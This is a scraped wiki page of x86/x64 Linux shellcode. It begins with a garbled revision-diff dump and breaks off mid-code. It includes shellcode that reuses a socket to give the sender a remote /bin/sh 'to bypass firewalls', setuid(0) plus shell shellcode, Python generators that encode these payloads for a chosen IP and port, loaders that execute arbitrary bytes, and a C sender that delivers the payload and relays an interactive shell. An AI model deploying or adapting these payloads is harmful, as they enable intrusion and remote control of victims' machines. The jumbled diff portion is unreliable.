add (%rbx, %rax, 4), %rbx | add (%rbx, %rax, 4), %rbx | ||
− | + | ||
check_dynamic_type: | check_dynamic_type: | ||
add $0x10, %rbx | add $0x10, %rbx | ||
Line 799: | Line 1,132: | ||
push %rdx | push %rdx | ||
pop %rsi | pop %rsi | ||
− | + | ||
pop %rdx | pop %rdx | ||
pop %rax | pop %rax | ||
− | + | ||
cmp %esi, %edi | cmp %esi, %edi | ||
− | + | ||
jne check_next_hash | jne check_next_hash | ||
found_hash: | found_hash: | ||
add 0x8(%rbx,%rdx,4), %rbp | add 0x8(%rbx,%rdx,4), %rbp | ||
+ | mov %rbp, 0x30(%rsp) | ||
+ | pop %rsi | ||
pop %rbx | pop %rbx | ||
pop %rax | pop %rax | ||
pop %rdi | pop %rdi | ||
pop %rdx | pop %rdx | ||
+ | pop %rbp | ||
ret | ret | ||
+ | |||
+ | exit: | ||
+ | push $0x696c4780 | ||
+ | pop %rbp | ||
+ | xor %rdi, %rdi | ||
+ | call *%rcx | ||
+ | |||
+ | _world: | ||
+ | movl $0xf8cc01f7, %ebp # getpeername() is in %rbp | ||
+ | push $0x02 | ||
+ | pop %rdi | ||
+ | |||
+ | make_fd_struct: | ||
+ | lea -0x14(%rsp), %rdx | ||
+ | movb $0x10, (%rdx) | ||
+ | lea 0x4(%rdx), %rsi # move struct into rsi | ||
+ | |||
+ | loop: | ||
+ | inc %di | ||
+ | jz exit | ||
+ | |||
+ | stack_fix: | ||
+ | lea 0x14(%rdx), %rsp | ||
+ | |||
+ | get_peer_name: | ||
+ | sub $0x20, %rsp | ||
+ | push %rcx | ||
+ | call *%rcx | ||
+ | pop %rcx | ||
+ | |||
+ | check_pn_success: | ||
+ | test %al, %al | ||
+ | jne loop | ||
+ | |||
+ | # If we make it here, rbx and rax are 0 | ||
+ | check_ip: | ||
+ | push $0x1b | ||
+ | pop %r8 | ||
+ | mov $0xfeffff80, %eax | ||
+ | cmpl %eax, (%rsp,%r8,4) | ||
+ | jne loop | ||
+ | |||
+ | check_port: | ||
+ | movb $0x35, %r8b | ||
+ | mov $0x2dfb, %ax | ||
+ | cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2) | ||
+ | jne loop | ||
+ | |||
+ | push $0x70672750 | ||
+ | pop %rbp | ||
+ | |||
+ | reuse: | ||
+ | xor %rdx, %rdx | ||
+ | push %rdx | ||
+ | push %rdx | ||
+ | pop %rsi | ||
+ | |||
+ | dup_loop: # redirect stdin, stdout, stderr to socket | ||
+ | push %rcx | ||
+ | call *%rcx | ||
+ | pop %rcx | ||
+ | inc %esi | ||
+ | cmp $0x4, %esi | ||
+ | jne dup_loop | ||
+ | |||
+ | movl $0xf66bbb37, %ebp | ||
+ | |||
+ | xor %rdi, %rdi | ||
+ | push %rdi | ||
+ | push %rdi | ||
+ | pop %rsi | ||
+ | pop %rdx # Null out %rdx and %rdx (second and third argument) | ||
+ | mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi | ||
+ | shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' | ||
+ | push %rdi | ||
+ | push %rsp | ||
+ | pop %rdi # %rdi is now a pointer to '/bin/sh\0' | ||
+ | |||
+ | call *%rcx | ||
</source>}} | </source>}} | ||
− | == | + | == linker-fd-reuse.s == |
− | {{code|text=<source lang="asm">.section .data | + | '''Description''': Self-linking file descriptor reuse shellcode |
+ | |||
+ | {{code|text=<source lang="asm"># 268 bytes | ||
+ | .section .data | ||
.section .text | .section .text | ||
.global _start | .global _start | ||
Line 1,000: | Line 1,418: | ||
movl $0xf66bbb37, %ebp | movl $0xf66bbb37, %ebp | ||
− | + | pop %rdi | |
push %rdi | push %rdi | ||
push %rdi | push %rdi | ||
Line 1,013: | Line 1,431: | ||
call *%rcx | call *%rcx | ||
</source>}} | </source>}} | ||
− | == | + | |
+ | == linked-exit.s == | ||
+ | '''Description''': Self-linking exit shellcode | ||
+ | |||
{{code|text=<source lang="asm"># 135 bytes | {{code|text=<source lang="asm"># 135 bytes | ||
Line 1,042: | Line 1,463: | ||
pop %rcx | pop %rcx | ||
jmp _world | jmp _world | ||
− | + | ||
# at this point, the base pointer of libc is in %rbx | # at this point, the base pointer of libc is in %rbx | ||
Line 1,048: | Line 1,469: | ||
call __initialize_world | call __initialize_world | ||
− | |||
################ | ################ | ||
# | # | ||
− | # Takes a function hash in % | + | # Takes a function hash in %rbp and base pointer in %rbx |
+ | # >Parses the dynamic section headers of the ELF64 image | ||
+ | # >Uses ROP to invoke the function on the way back to the | ||
+ | # -normal return location | ||
# | # | ||
− | # | + | # Returns results of function to invoke. |
# | # | ||
− | + | invoke_function: | |
+ | push %rbp | ||
+ | push %rbp | ||
push %rdx | push %rdx | ||
xor %rdx, %rdx | xor %rdx, %rdx | ||
Line 1,068: | Line 1,493: | ||
push %rbx | push %rbx | ||
pop %rbp | pop %rbp | ||
− | + | ||
push $0x4c | push $0x4c | ||
pop %rax | pop %rax | ||
add (%rbx, %rax, 4), %rbx | add (%rbx, %rax, 4), %rbx | ||
− | + | ||
check_dynamic_type: | check_dynamic_type: | ||
add $0x10, %rbx | add $0x10, %rbx | ||
Line 1,087: | Line 1,512: | ||
pop %rsi | pop %rsi | ||
xorw (%rbx), %si | xorw (%rbx), %si | ||
− | |||
add %rax, %rsi | add %rax, %rsi | ||
Line 1,109: | Line 1,533: | ||
push %rdx | push %rdx | ||
pop %rsi | pop %rsi | ||
− | + | ||
pop %rdx | pop %rdx | ||
pop %rax | pop %rax | ||
− | + | ||
cmp %esi, %edi | cmp %esi, %edi | ||
− | + | ||
jne check_next_hash | jne check_next_hash | ||
found_hash: | found_hash: | ||
add 0x8(%rbx,%rdx,4), %rbp | add 0x8(%rbx,%rdx,4), %rbp | ||
+ | mov %rbp, 0x30(%rsp) | ||
pop %rsi | pop %rsi | ||
pop %rbx | pop %rbx | ||
Line 1,124: | Line 1,549: | ||
pop %rdi | pop %rdi | ||
pop %rdx | pop %rdx | ||
− | + | pop %rbp | |
ret | ret | ||
Line 1,132: | Line 1,557: | ||
xor %rdi, %rdi | xor %rdi, %rdi | ||
call *%rcx | call *%rcx | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
</source>}} | </source>}} | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | + | = Generators = | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | '''See also''': [[Shellcode/Socket-reuse|socket-reuse documentation]], [[#Socket-reuse|socket-reuse shellcode]], [[Shellcode/Self-modifying|self-modifying documentation]], [[Shellcode/Self-modifying|self-modifying shellcode]], [[Shellcode/Dynamic|dynamic documentation]], [[Shellcode/Dynamic|dynamic shellcode]] | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | == socket-reuse-generator.py == | |
− | + | '''Description''': Socket-reuse shellcode generator | |
− | + | ||
− | + | ||
− | + | ||
− | + | {{code|text=<source lang="python"> | |
− | { | + | #!/usr/bin/python2.7 |
− | + | import re, sys, socket, struct | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | if len(sys.argv) < 3: | |
− | + | print("Usage: " + sys.argv[0] + " <source IP> <source port> [dynamic]") | |
− | + | exit() | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | standard_shellcode = \ | |
+ | "\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6" \ | ||
+ | "\\x02\\x10\\x48\\x8d\\x72\\x04\\xff\\xc7\\x66\\x85\\xff\\x74\\xe5\\x48\\x8d\\x62" \ | ||
+ | "\\x14\\x48\\x83\\xec\\x20\\x6a\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xe8\\x6a\\x1b" \ | ||
+ | "\\x59\\xbb%s\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xd9\\xb1\\x35\\x66\\xbb%s\\x66\\xf7" \ | ||
+ | "\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xca\\x50\\x5e\\x6a\\x21\\x58\\x0f\\x05\\xff\\xc6" \ | ||
+ | "\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69" \ | ||
+ | "\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05" | ||
− | + | dynamic_shellcode = \ | |
− | + | "\\x68\\xff\\x30\\x01\\x40\\x5b\\xc1\\xeb\\x08\\x48\\x8b\\x0b\\x48\\x03\\x4b\\x10" \ | |
− | + | "\\x48\\x8b\\x59\\x20\\x48\\xff\\xcb\\x81\\x3b\\x7f\\x45\\x4c\\x46\\x75\\xf5\\xeb" \ | |
− | + | "\\x03\\x59\\xeb\\x6a\\xe8\\xf8\\xff\\xff\\xff\\x55\\x55\\x52\\x48\\x31\\xd2\\x57" \ | |
− | + | "\\x50\\x53\\x56\\x55\\x5f\\x53\\x5d\\x6a\\x4c\\x58\\x48\\x03\\x1c\\x83\\x48\\x83" \ | |
+ | "\\xc3\\x10\\x80\\x3b\\x05\\x75\\xf7\\x48\\x8b\\x43\\x08\\x48\\x8b\\x5b\\x18\\x48" \ | ||
+ | "\\x83\\xc3\\x18\\x52\\x5e\\x66\\x33\\x33\\x48\\x01\\xc6\\x50\\x52\\x52\\x58\\xfc" \ | ||
+ | "\\xac\\xc1\\xc2\\x0c\\x01\\xc2\\x84\\xc0\\x75\\xf6\\x52\\x5e\\x5a\\x58\\x39\\xf7" \ | ||
+ | "\\x75\\xdd\\x48\\x03\\x6c\\x93\\x08\\x48\\x89\\x6c\\x24\\x30\\x5e\\x5b\\x58\\x5f" \ | ||
+ | "\\x5a\\x5d\\xc3\\x68\\x80\\x47\\x6c\\x69\\x5d\\x48\\x31\\xff\\xff\\xd1\\xbd\\xf7" \ | ||
+ | "\\x01\\xcc\\xf8\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6\\x02\\x10\\x48\\x8d" \ | ||
+ | "\\x72\\x04\\x66\\xff\\xc7\\x74\\xdc\\x48\\x8d\\x62\\x14\\x48\\x83\\xec\\x20\\x51" \ | ||
+ | "\\xff\\xd1\\x59\\x84\\xc0\\x75\\xeb\\x6a\\x1b\\x41\\x58\\xb8%s\\xf7\\xd0\\x42" \ | ||
+ | "\\x39\\x04\\x84\\x75\\xda\\x41\\xb0\\x35\\x66\\xb8%s\\xf7\\xd0\\x66\\x42\\x39" \ | ||
+ | "\\x04\\x44\\x75\\xca\\x68\\x50\\x27\\x67\\x70\\x5d\\x48\\x31\\xd2\\x52\\x52\\x5e" \ | ||
+ | "\\x51\\xff\\xd1\\x59\\xff\\xc6\\x83\\xfe\\x04\\x75\\xf5\\xbd\\x37\\xbb\\x6b\\xf6" \ | ||
+ | "\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f\\x73" \ | ||
+ | "\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\xff\\xd1" | ||
− | == . | + | if len(sys.argv) == 4 and sys.argv[3] == "dynamic": |
− | + | shellcode = dynamic_shellcode | |
+ | else: | ||
+ | shellcode = standard_shellcode | ||
− | . | + | convert = lambda x: ''.join(['\\x%.2x' % (ord(char) ^ 0xff) for char in x]) |
− | . | + | ip_addr = convert(socket.inet_aton(sys.argv[1])) |
− | . | + | port_no = convert(struct.pack("!H", int(sys.argv[2]))) |
− | + | shellcode = shellcode % (ip_addr, port_no) | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | for lin in re.findall(".?"*64, shellcode): | |
− | + | if lin != "": | |
− | + | print("\"" + lin + "\"") | |
− | + | </source>}} | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | == shellcode-generator.py == | |
− | + | '''Description''': Nicely assemble and output shellcode in a variety of formats (raw, hex, and as a C variable) | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | {{code|text=<source lang="python"> | |
− | + | #!/usr/bin/python2 | |
− | + | import os | |
− | + | import re | |
− | + | import argparse | |
− | + | ||
− | + | ||
− | {{code|text=<source lang=" | + | |
− | # | + | |
− | . | + | def detect_file_type(path): |
+ | file_type = os.popen("file %s" % path).read(200) | ||
+ | if "assembler" in file_type: | ||
+ | return 0 | ||
+ | elif "ELF" in file_type: | ||
+ | return 1 | ||
+ | else: | ||
+ | print "Incompatible file type, quitting." | ||
+ | exit() | ||
− | . | + | def extract(path): |
+ | if not detect_file_type(path): | ||
+ | orig_path = path | ||
+ | path = path.split(".")[0] | ||
+ | if os.system("as -o %s.o %s" % (path, orig_path)) == 1: | ||
+ | print " [!] Assembly failed." | ||
+ | exit() | ||
+ | if os.system("ld -o %s %s.o" % (path, path)) == 1: | ||
+ | print " [!] Linking failed." | ||
+ | exit() | ||
− | . | + | shellcode = "" |
+ | for line in os.popen("objdump -d %s" % path).readlines(): | ||
+ | for byte in line.split(): | ||
+ | if re.match("^[a-f0-9][a-f0-9]$", byte): | ||
+ | shellcode += chr(int(byte, 16)) | ||
− | + | return shellcode | |
− | + | ||
− | + | ||
− | + | ||
− | + | if __name__=="__main__": | |
− | + | parser = argparse.ArgumentParser() | |
+ | parser.add_argument('--file', required=True) | ||
+ | parser.add_argument('--hex', action='store_true', help="Output in hex format (\\x0f\\x05)") | ||
+ | parser.add_argument('--raw', action='store_true', help="Output in raw format") | ||
+ | parser.add_argument('--var', action='store_true', help="Output as a variable") | ||
+ | parser.add_argument('--len', action='store_true', help="Output the length") | ||
+ | args = parser.parse_args() | ||
− | + | shellcode = extract(args.file) | |
− | + | ||
− | + | ||
− | + | if args.hex or args.var: | |
− | + | tmp = ''.join(["\\x%.2x" % ord(byte) for byte in shellcode]) | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | if args.var: | |
+ | tmp2 = "char shellcode[] = {\n" | ||
+ | for line in re.findall(".?"*64, tmp): | ||
+ | if line != "": | ||
+ | tmp2 += " \"%s\" \n" % line | ||
+ | tmp = tmp2 + "};" | ||
− | + | print tmp | |
− | + | ||
+ | elif args.raw: | ||
+ | print shellcode | ||
− | + | else: | |
− | + | parser.print_help() | |
− | + | exit() | |
− | + | ||
− | + | if args.len: | |
− | + | print " [*] Length: %d bytes" % len(shellcode) | |
− | + | </source>}} | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | == hash-generator.s == | |
− | + | '''Description''': Hash generator for self-linking shellcode | |
− | + | ||
− | + | {{code|text=<source lang="asm"> | |
− | + | # 81 bytes | |
− | + | ||
− | + | ||
− | + | .text | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
.globl _start | .globl _start | ||
_start: | _start: | ||
− | jmp | + | jmp startup |
− | + | calc_hash: | |
− | push | + | push %rax |
− | + | push %rdx | |
− | + | ||
− | + | initialize_regs: | |
− | + | push %rdx | |
− | + | pop %rax | |
+ | cld | ||
− | + | calc_hash_loop: | |
− | + | lodsb | |
− | + | rol $0xc, %edx | |
− | + | add %eax, %edx | |
+ | test %al, %al | ||
+ | jnz calc_hash_loop | ||
− | + | calc_done: | |
− | + | push %rdx | |
− | + | pop %rsi | |
− | + | ||
− | + | pop %rdx | |
− | + | pop %rax | |
+ | ret | ||
− | + | startup: | |
− | + | pop %rax | |
− | + | ||
pop %rax | pop %rax | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
pop %rsi | pop %rsi | ||
− | + | xor %rdx, %rdx | |
− | + | call calc_hash | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | push %rsi | |
− | + | mov %rsp, %rsi | |
− | push | + | |
− | + | ||
− | + | ||
− | + | ||
− | mov | + | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | push %rdx | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | mov %rsp, %rcx | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
+ | mov $0x4, %rdi | ||
+ | loop: | ||
+ | dec %rdi | ||
+ | movb (%rsi,%rdi,1), %al | ||
+ | movb %al, (%rcx,%rdx,1) | ||
+ | inc %rdx | ||
+ | cmp %rdi, %r10 | ||
+ | jnz loop | ||
− | + | mov %rcx, %rsi | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | inc %rdi | |
− | + | mov %rdi, %rax | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | syscall | |
− | + | ||
− | + | mov $0x3c, %rax | |
− | + | dec %rdi | |
− | + | ||
− | + | ||
− | + | ||
− | + | syscall | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
</source>}} | </source>}} |
Latest revision as of 19:07, 25 May 2013
Special thanks to hatter and jtripper for their contributions to this article.
Contents
Loaders
Documentation: shellcode loaders
See also: environmental documentation, environmental shellcode
loader-64.s
Description: 64-bit mmap-based executable shellcode loader (returns to shellcode)
# 79 bytes .section .data .section .text .globl _start _start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer push $0x9 pop %rax xor %rdi, %rdi push %rdi pop %rsi inc %rsi shl $0x12, %rsi push $0x7 pop %rdx push $0x22 pop %r10 push %rdi push %rdi pop %r8 pop %r9 syscall # The syscall for the mmap(). inject: xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb %dil, (%rbx, %rsi, 1) je inject_finished movb (%rbx, %rsi, 1), %r10b movb %r10b, (%rax,%rsi,1) inc %rsi jmp inject_loop ret_to_shellcode: push %rax ret inject_finished: inc %rsi movb $0xc3, (%rax, %rsi, 1) call ret_to_shellcode exit: push $60 pop %rax xor %rdi, %rdi syscall |
loader-32.s
Description: 32-bit mmap-based executable shellcode loader (returns to shellcode)
# 66 bytes .section .data .section .text .global _start _start: pop %edi pop %edi pop %edi #get arg1 pointer (shellcode) push $90 pop %eax #mmap() syscall number xor %ebx, %ebx push %ebx push %ebx #args 5/6 (null) push $0x22 #arg 4 push $0x7 #arg 5 push %ebx pop %ecx inc %ecx shl $0x12, %ecx push %ecx #arg2 (0x1000) push %ebx #arg1 (null) mov %esp, %ebx #move pointer to args to ebx for mmap() int $0x80 inject: xor %esi, %esi push %esi pop %edx #zero out esi and edx inject_loop: cmpb %dl, (%edi, %esi, 1) je inject_finished movb (%edi, %esi, 1), %cl movb %cl, (%eax, %esi, 1) inc %esi jmp inject_loop #places shellcode into mmap() memory ret_to_shellcode: push %eax #pushes mmap memory address and returns to it ret inject_finished: inc %esi movb $0xc3, (%eax, %esi, 1) #adds ret to the code code so that loader can exit call ret_to_shellcode exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 #exit |
dynamic-loader.c
Description: Dynamically linked mmap-based executable shellcode loader (contains GOT)
#include <stdio.h> #include <sys/mman.h> #include <string.h> int main(int argc, char *argv[]) { int (*fp)(); void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); memcpy(mem, argv[1], strlen(argv[1])); fp = (int(*)())mem; (int)(*fp)(); } |
socket-loader.c
Description: Dynamically linked mmap and socket based executable shellcode loader (contains GOT)
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> void error(const char *msg) { perror(msg); exit(1); } void execute(char *buffer) { void (*mem)() = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); memcpy(mem, buffer, strlen(buffer)); (*mem)(); } int main(int argc, char *argv[]) { char buffer[1024]; int serverfd, clientfd; socklen_t client_len; struct sockaddr_in server_addr, client_addr; client_len = sizeof(client_addr); if (argc != 2) { printf("Usage: %s <port>\n", argv[0]); exit(1); } server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(atoi(argv[1])); if((serverfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) error(" [!] opening socket"); if (bind(serverfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) error(" [!] bind()"); if (listen(serverfd, 0) < 0) error(" [!] listen()"); if ((clientfd = accept(serverfd, (struct sockaddr *)&client_addr, &client_len)) < 0) error(" [!] accept()"); printf(" [*] Received %d bytes, executing.\n", read(clientfd,buffer,1024)); execute(buffer); printf(" [*] Closing sockets.\n"); close(clientfd); close(serverfd); return 0; } |
Null-free
Documentation: null-free shellcode
write-file-32.s
Description: Null-free file writing shellcode
# 90 bytes _start: xorl %ecx, %ecx xorl %edx, %edx #use xor to zero out the registers (removed some not required) push $0x05 #push 0x05 (single byte to remove the null padding used in longs) pop %eax #pop that value into eax push $0x6c #push part of the file destination as a byte to remove padding pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f movl %esp, %ebx #move out stack pointer xorw $0x0641, %cx #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641) xorw $0x01b6, %dx #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6) #by using this method of xoring out the nullbytes code size can be reduced as well #as remove the null bytes int $0x80 #execute open() movl %eax, %ebx #move the file handle into ebx for write() push $0x04 #push 0x04 pop %eax #pop it into eax for use in write() pushl $0x6c6f6c6a #push part of the null terminated hex string onto the stack pop %ecx #pop it into ecx for modification shr $0x08, %ecx #shift it to the right by 0x08 to put the nullbyte back into the string without #having it directly in the code pushl %ecx #push the modified string back onto the stack pushl $0x20736920 pushl $0x73696874 movl %esp, %ecx #move the stack pointer to ecx push $0xb #push the size of the stack in hex pop %edx #pop it back into the proper register pushl %ebx #push the file descriptor onto the stack for the next function int $0x80 #write the file pop %ebx #get the file descriptor back push $0x06 #push 0x06 to the stack pop %eax #pop it into eax for close() int $0x80 #close the file push $0x01 #push exit() onto the stack pop %eax #and put it in the register push $0x05 #push the return value of 5 pop %ebx #and put it in ebx int $0x80 #and exit |
setuid_binsh.s
Description: null-free setuid(0); execve('/bin/sh') shellcode
# 32 bytes .text .globl _start _start: xor %rdi,%rdi pushq $0x69 pop %rax syscall push %rdi push %rdi pop %rsi pop %rdx pushq $0x68 movabs $0x7361622f6e69622f,%rax push %rax push %rsp pop %rdi pushq $0x3b pop %rax syscall |
Environment
Documentation: environment
getpc-64.s
Description: 64-bit getpc
# 12 - bytes jmp startup getpc: mov (%rsp), %rax ret startup: call getpc # the %rax register now contains %rip on the next line |
getpc-64-alt.s
Description: Alternative 64-bit getpc method
# 10 bytes jmp startup pc: nop startup: lea -1(%rip), %rax # the %rax register now contains the address of `pc'. |
getpc-32.s
Description: 32-bit getpc
# 11 bytes jmp startup getpc: mov (%esp), %eax ret startup: call getpc # the %eax register now contains %eip on the next line |
int3-detect-64.s
Description: Breakpoint detection shellcode
# 24 bytes .text .global _start _start: jmp startup go_retro: pop %rcx inc %rcx jmp *%rcx startup: call go_retro volatile_segment: push $0x3458686a push $0x0975c084 nop |
lastcall-32.s
Description: 32-bit last call example
# 4 bytes mov -0x4(%esp), %eax |
lastcall-64.s
Description: 64-bit last call example
# 5 bytes mov -0x8(%rsp), %rax |
lastcall-alphanum.s
Description: Alphanumeric last call example
# 13 bytes .text .global _start _start: pop %rax push %rsp # move pointer to %rsp into %rax pop %rax xor $0x65,%al # subtract 0x10 from %rax xor $0x75,%al xor %rsi,(%rax) xor (%rax),%rsi # move address to last instruction into %rax |
Socket-reuse
Documentation: socket reuse documentation
socket-reuse.s
Description: socket reusing shellcode to bypass firewalls
# 117 bytes .section .data .section .text .globl _start _start: jmp start exit: push $0x3c pop %rax syscall start: push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %edi test %di, %di # loop until 65535 then exit je exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push $0x34 pop %rax syscall check_pn_success: test %al, %al jne loop # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %rcx mov $0xfeffff80, %ebx not %ebx cmpl %ebx, (%rsp,%rcx,4) jne loop check_port: movb $0x35, %cl mov $0x2dfb, %bx not %bx cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2) jne loop reuse: push %rax pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push $0x21 pop %rax syscall inc %esi cmp $0x4, %esi jne dup_loop execve: pop %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' push $0x3b pop %rax # set %rax to function # for execve() syscall # execve('/bin/sh',null,null); |
socket-reuse-send.c
Description: sends socket reuse shellcode
#include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> // source: 127.0.0.1:1234 char shellcode[] = { "\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6" "\x02\x10\x48\x8d\x72\x04\xff\xc7\x66\x85\xff\x74\xe5\x48\x8d\x62" "\x14\x48\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xe8\x6a\x1b" "\x59\xbb\x80\xff\xff\xfe\xf7\xd3\x39\x1c\x8c\x75\xd9\xb1\x35\x66" "\xbb\xfb\x2d\x66\xf7\xd3\x66\x39\x1c\x4c\x75\xca\x50\x5e\x6a\x21" "\x58\x0f\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48" "\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f" "\x6a\x3b\x58\x0f\x05" }; void error(char *err) { perror(err); exit(0); } int main(int argc, char *argv[]) { struct sockaddr_in server_addr, bind_addr; struct hostent* server, *_bind; char buf[1024], inbuf[1024]; int sock; _bind = gethostbyname(argv[3]); bind_addr.sin_family = AF_INET; bind_addr.sin_port = htons(atoi(argv[4])); memcpy(&bind_addr.sin_addr.s_addr, _bind->h_addr, _bind->h_length); server = gethostbyname(argv[1]); server_addr.sin_family = AF_INET; memcpy(&server_addr.sin_addr.s_addr, server->h_addr, server->h_length); server_addr.sin_port = htons(atoi(argv[2])); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) error(" [!] socket()"); if (bind(sock, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0) error(" [!] bind()"); printf(" [*] Connecting to %s\n", argv[1]); if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) error(" [*] connect()"); printf(" [*] Sending payload\n"); if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0) error(" [!] write()"); while(fgets(buf, 1024, stdin) != NULL) { if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0) error(" [!] write(): "); if (recv(sock, inbuf, 1024, 0) < 0) error(" [!] read(): "); 